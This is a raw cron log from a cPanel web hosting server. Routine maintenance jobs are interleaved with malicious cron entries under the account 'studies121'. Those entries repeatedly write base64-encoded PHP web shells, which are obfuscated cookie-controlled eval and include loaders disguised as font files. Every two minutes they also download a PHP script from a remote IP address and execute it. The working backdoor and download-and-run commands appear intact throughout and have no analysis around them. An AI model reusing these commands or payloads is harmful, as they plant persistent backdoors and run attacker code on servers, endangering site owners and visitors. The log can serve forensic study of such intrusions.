Sep  6 00:29:01 ip-184-168-122-23 CROND[17185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:30:01 ip-184-168-122-23 CROND[17285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:30:01 ip-184-168-122-23 CROND[17287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:30:01 ip-184-168-122-23 CROND[17289]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:30:01 ip-184-168-122-23 CROND[17286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:30:01 ip-184-168-122-23 CROND[17291]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 00:30:01 ip-184-168-122-23 CROND[17293]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  6 00:30:01 ip-184-168-122-23 CROND[17294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:30:01 ip-184-168-122-23 CROND[17290]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:30:01 ip-184-168-122-23 CROND[17295]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:31:02 ip-184-168-122-23 CROND[17446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:31:02 ip-184-168-122-23 CROND[17447]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 00:31:02 ip-184-168-122-23 CROND[17448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:31:02 ip-184-168-122-23 CROND[17450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:31:02 ip-184-168-122-23 CROND[17451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:32:01 ip-184-168-122-23 CROND[17530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:32:01 ip-184-168-122-23 CROND[17534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:32:01 ip-184-168-122-23 CROND[17531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:32:01 ip-184-168-122-23 CROND[17532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:32:01 ip-184-168-122-23 CROND[17533]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:33:01 ip-184-168-122-23 CROND[17614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:33:01 ip-184-168-122-23 CROND[17615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:33:01 ip-184-168-122-23 CROND[17617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:33:01 ip-184-168-122-23 CROND[17616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:34:01 ip-184-168-122-23 CROND[17693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:34:01 ip-184-168-122-23 CROND[17697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:34:01 ip-184-168-122-23 CROND[17696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:34:01 ip-184-168-122-23 CROND[17698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:34:01 ip-184-168-122-23 CROND[17695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:35:02 ip-184-168-122-23 CROND[17879]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:35:02 ip-184-168-122-23 CROND[17881]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:35:02 ip-184-168-122-23 CROND[17884]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 00:35:02 ip-184-168-122-23 CROND[17880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:35:02 ip-184-168-122-23 CROND[17878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:35:02 ip-184-168-122-23 CROND[17877]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:35:02 ip-184-168-122-23 CROND[17882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:35:02 ip-184-168-122-23 CROND[17883]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 00:36:02 ip-184-168-122-23 CROND[17980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:36:02 ip-184-168-122-23 CROND[17983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:36:02 ip-184-168-122-23 CROND[17982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:36:02 ip-184-168-122-23 CROND[17985]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:36:02 ip-184-168-122-23 CROND[17986]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:37:01 ip-184-168-122-23 CROND[18066]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:37:01 ip-184-168-122-23 CROND[18063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:37:01 ip-184-168-122-23 CROND[18064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:37:01 ip-184-168-122-23 CROND[18065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:38:01 ip-184-168-122-23 CROND[18143]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:38:01 ip-184-168-122-23 CROND[18145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:38:01 ip-184-168-122-23 CROND[18147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:38:01 ip-184-168-122-23 CROND[18146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:38:01 ip-184-168-122-23 CROND[18149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:39:01 ip-184-168-122-23 CROND[18225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:39:01 ip-184-168-122-23 CROND[18227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:39:01 ip-184-168-122-23 CROND[18229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:39:01 ip-184-168-122-23 CROND[18230]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 00:39:01 ip-184-168-122-23 CROND[18233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:40:01 ip-184-168-122-23 CROND[18342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:40:01 ip-184-168-122-23 CROND[18343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:40:01 ip-184-168-122-23 CROND[18344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:40:01 ip-184-168-122-23 CROND[18345]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 00:40:01 ip-184-168-122-23 CROND[18349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:40:01 ip-184-168-122-23 CROND[18346]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:40:01 ip-184-168-122-23 CROND[18348]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:40:01 ip-184-168-122-23 CROND[18347]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:41:01 ip-184-168-122-23 CROND[18524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:41:01 ip-184-168-122-23 CROND[18526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:41:01 ip-184-168-122-23 CROND[18528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
